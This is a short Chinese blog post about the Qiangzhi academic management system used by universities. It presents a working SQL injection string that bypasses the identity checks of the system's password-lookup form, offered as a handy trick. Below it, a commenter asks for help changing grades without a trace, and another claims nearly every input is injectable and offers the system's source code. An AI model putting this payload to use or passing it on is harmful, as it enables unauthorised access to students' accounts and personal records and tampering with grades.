强智教务管理系统一个”有用”的查询

更多操作详见此文:强智教务漏洞入侵

强智教务管理系统“密码查询”功能很多童鞋都用过,需要填写“学号、姓名、身份证号”,

但是当你只记得自己的学号不记得自己的身份证号了,或者你也可以不记得自己的名字了(林子大了但愿没有这样的人),那么你要怎么做

最佳答案:在学号框内输入:

' or xh='你的学号'--'

然后提交即可,非安全不保证长久有效

强智教务管理系统漏洞入侵

5 条评论 发表在“强智教务管理系统一个”有用”的查询”上

  1. 跪求帮我改分而不留下痕迹说道:

    热切盼望能和博主私下交流

  2. hbs说道:

    强智的东西都搞腻了!基本所有的有数据交互的地方都存在SQL注入,那套Asp的代码2007年就躺我硬盘了!需要的话,E我!

hbs 留下回复